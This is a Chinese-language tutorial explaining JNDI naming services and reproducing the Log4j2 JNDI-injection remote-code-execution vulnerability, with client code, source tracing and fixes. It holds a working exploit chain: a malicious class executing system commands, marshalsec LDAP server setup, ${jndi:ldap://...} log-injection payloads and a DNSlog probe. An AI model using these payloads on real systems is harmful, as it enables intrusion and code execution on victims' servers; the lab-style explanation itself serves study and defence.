1.JNDI(Java 命名和目录接口)
JNDI官网介绍:
The Java Naming and Directory InterfaceTM (JNDI) is an application programming interface (API) that provides naming and directory functionality to applications written using the JavaTM programming language. It is defined to be independent of any specific directory service implementation. Thus a variety of directories--new, emerging, and already deployed--can be accessed in a common way
维基百科:
JNDI是Java的一个命名服务和目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象
JNDI架构图:
- 命名服务、目录服务
命名服务可以简单理解为key,value键值对的绑定,可以通过键检索对象,例如java的rmi(remote method invocation)。目录服务可以理解为是命名服务的进一步扩展,可以通过对象属性来检索对象。比如你要到网易找我,你可以通过组织架构来层层过滤,一级部门,二级部门,三级部门,姓名, 这些信息是我(对象)的属性。这一层层的关系和目录结构很类似。如LDAP。命名服务和目录服务本质上是一样的,本质上都是根据键搜索对象/属性(给一个key返回一个value),只不过目录服务的键更加复杂,也更加灵活。
上图展示的架构图中,有很多种命名和目录服务LDAP,DNS,RMI等,在开发过程中对接不通的服务代码实现差异化比较大,而JNDI就是为了屏蔽这种差异而存在的,有了JNDI后我们就可以轻松的访问各种命名服务而不用关注底层实现细节。
下面简单介绍两种命名服务
- LDAP
public class Ldap {
public static void main(String[] args) {
Hashtable env = new Hashtable();
env.put("com.sun.jndi.ldap.connect.pool", "true");
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:1389");
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
DirContext ctx = new InitialDirContext(env);
// {objectclass=objectClass: javaNamingReference, javacodebase=javaCodeBase: http://127.0.0.1:8888/, javafactory=javaFactory: Log4jRCE, javaclassname=javaClassName: foo}
System.out.println(ctx.getAttributes("Log4jRCE"));
// Reference Class Name: foo
System.out.println(ctx.lookup("Log4jRCE"));
}
}
- RMI
public class RmiJndiClient {
public static void main(String[] args) throws Exception {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:8888");
Context ictx = new InitialContext(env);
// Proxy[HelloService,RemoteObjectInvocationHandler[UnicastRef [liveRef: [endpoint:[127.0.0.1:64563](remote),objID:[-64147281:17dcb01fc7f:-7fff, 6762749682484428843]]]]]
System.out.println(ictx.lookup("hello"));
}
}
- DNS
public static void main(String[] args) throws Exception {
final Hashtable env = new Hashtable();
//设定DNS Service Provider.
env.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory");
env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
DirContext dnsContext = new InitialDirContext(env);
Attributes attrs = dnsContext.getAttributes("zzz.xxx.com", new String[]{"A"});
// {a=A: 59.111.163.92}
System.out.println(attrs);
对于不同的命名服务/目录服务,开发人员在开发的过程当中会开发不通的代码来完成对不通服务的调用,大大加大了开发人员的开发成本和难度。如:
而为了简化对各种命名服务/目录服务的调用,通过JNDI的封装,只需要开发人员传入不通的参数或配置,使用同一套代码即可完成各种服务直接的调用,大大降低了学习成本和开发难度,如:
总结:
JNDI就是对各种客户端如何访问命名服务和目录服务端细节的封装,屏蔽了各种客户端实现的细节,统一对外暴露了一套接口简化对命名服务和目录服务的访问复杂性。可以把JNDI看做就是普通客户端的封装,封装了一堆不同的客户端,只要告诉我名字就返回你想要的客户端不用自己实现。命名服务和目录服务的特点就是给服务端一个key,服务端就会返回一个value。
- java对象与命名服务
一般来说目录服务就是存数据的,目录服务就是具有层级结构的记录,这些记录包含了很多属性,你可以从目录服务中查找你感兴趣的记录,并获取其属性。
在Java中,java对象也经常需要被共享使用,因此,对于一些java应用通过目录服务存储java对象也是很有意义的。目录服务为java分布式应用提供了一种集中管理,可复用的对象存储服务。JNDI提供了一种java对象和目录服务的视图,可以添加java对象到目录服务中,也可以从目录服务中提取java对象。目录服务中存储的对象,有下面几种方式
1.Java serializable objects
2.Referenceable objects and JNDI References
3.Objects with attributes (DirContext)
4.RMI (Java Remote Method Invocation) objects (including those that use IIOP)
5.CORBA objects
当命名服务中存储的是一个Reference对象,Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI/LDAP服务上的对象为Reference类或者其子类,则在客户端获取到远程对象Reference时,可以从其他服务器上加载 class 文件来进行实例化。例如RMI:
// 服务端
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("Create RMI registry on port 1099");
String url = "http://127.0.0.1:8888/";
Reference reference = new Reference("Log4jRCE", "Log4jRCE", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Log4jRCE", referenceWrapper);
}
// 客户端
public static void main(String[] args) throws Exception {
Context ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/Log4jRCE");
}
当有客户端通过lookup("Log4jRCE")获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference的存根,所以客户端会现在本地的classpath中去检查是否存在类,如果不存在则去指定的url(http://127.0.0.1:8888/Log4jRCE.class)动态加载,可以利用java的static代码块来写恶意代码,因为static代码块的代码在class文件被加载过后就会立即执行。
通过ldap也可以动态加载类,LDAP可以在属性值中存储相关的Java对象,通过Using Java serialization和Using JNDI References两种方式存储对象。JNDI获取到属性后根据判断属性类型可以动态加载类或实例化对象。参考JNDI with LDAP
总结:
其实就是客户端给命名或目录服务传了一个key,服务端返回了一个value(Reference),不过这个value是个特殊的value,客户端认识这个特殊的value。客户端发现是个特殊的value(Reference),则客户端根据这个特殊value中的信息去其他服务器获取类并动态加载。
- log4j2 远程漏洞演示
简单介绍下log4j2的lookup功能:
“Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface”
主要功能就是提供另外一种方式以添加某些特殊的值到日志中,以最大化松散耦合地提供可配置属性供使用者以约定的格式进行调用。比如:要在日志中获取主机信息,获取环境变量信息,获取docker信息,通过JNDI获取信息等,log4j2允许你在任何需要的地方使用约定格式来获取环境中的指定配置信息。
log4j2在打印日志时会解析特定格式的字符串如${jndi:ldap://127.0.0.1:1389/Log4jRCE}, 在打印日志时会根据解析器把上述字符串解析为一个jndi服务调用,服务是ldap。
例如:当黑客输入一个特殊错误的用户名,服务端会对这个用户名做校验,如果校验不对需要打印错误日志,此时就可能会触发远程过程调用。
看下log4j2 (log4j2版本 < log4j-2.15.0-rc2) 怎样通过JNDI注入实现远程代码执行的。我们先演示下log4j2是怎样通过JNDI获取信息获取信息的。
1.编写一个攻击脚本调用系统命令,现在用计算器替代
class Log4jRCE {
static {
System.out.println("I am Log4jRCE from remote!!!");
try {
String[] cmd = {"calc.exe"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
public Log4jRCE() {
System.out.println("I am Log4jRCE from remote222!!!");
}
}
2.攻击者编译后把这个脚本部署到任意web服务,我这用的springboot,放到 resources/static 下面:
3.攻击者部署ldap服务:
1.git clone https://github.com/mbechler/marshalsec.git
2.cd marshalsec
3.mvn clean package -DskipTests
4.启动服务 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"
4.受害者调用log4j2打印日志:
package com.xxx;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2 {
private static final Logger logger = LogManager.getLogger(Log4j2.class);
public static void main(String[] args) {
// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
}
}
//最后调用了JNDI
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.SECURITY_AUTHENTICATION, "Simple");
env.put(Context.PROVIDER_URL, "ldap://127.0.0.1:1389");
ctx = new InitialLdapContext(env, null);
System.out.println("Connection Successful.");
System.out.println(ctx.getAttributes("Log4jRCE"));
ctx.lookup("Log4jRCE");
// ldap返回的value
// attributes:{objectclass=objectClass: javaNamingReference, javacodebase=javaCodeBase: http://127.0.0.1:8888/, javafactory=javaFactory: Log4jRCE, javaclassname=javaClassName: foo}
可以发现此时受害者客户端(日志打印)执行了攻击者自己部署的脚本Log4jRCE。
-
dnslog简介
有个网站DNSlog,在该网站可以注册一个域名如2xao4l.dnslog.cn,然后当你解析这个域名时就会在这个网站记录解析成功的记录.
截图 (3).png
那黑客怎么确定你的服务有没有JNDI漏洞呢,那他就可以盲注了(类似SQL盲注),构造${{jndi:dns://2xao4l.dnslog.cn}}
如果DNSLog网站有记录产生,说明你中招了,那黑客可以通过${jndi:ldap://黑客ldap-ip:1389/Log4jRCE}远程代码执行了 -
源码分析
一切从logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}")开始
截图.png
然后会调到MessagePatternConverter#format
截图 (1).png
然后会到StrSubstitutor#substitute会把${jndi:ldap://127.0.0.1:1389/Log4jRCE}
转成jndi:ldap://127.0.0.1:1389/Log4jRCE 然后对jndi:ldap://127.0.0.1:1389/Log4jRCE做解析
然后调到Interpolator#lookup
然后调到JndiLookup#lookup
然后调到JndiManager#lookup
是不是对InitialContext很眼熟,回到我们最开始的JNDI调用
-
漏洞修复
1.覆盖之前的jndi插件
截图.png
截图 (1).png
Interpolator中所有lookup的容器是一个hashMap
加载插件
因为先加载原来的jndi,然后才加载插件,strLookupMap又是一个HashMap,只要key都是jndi就可以覆盖之前的jndi
2.配置MessagePatternConverter option依据:
3.配置log4j2.formatMsgNoLookups=true
2,3来源,MessagePatternConverter#format中判断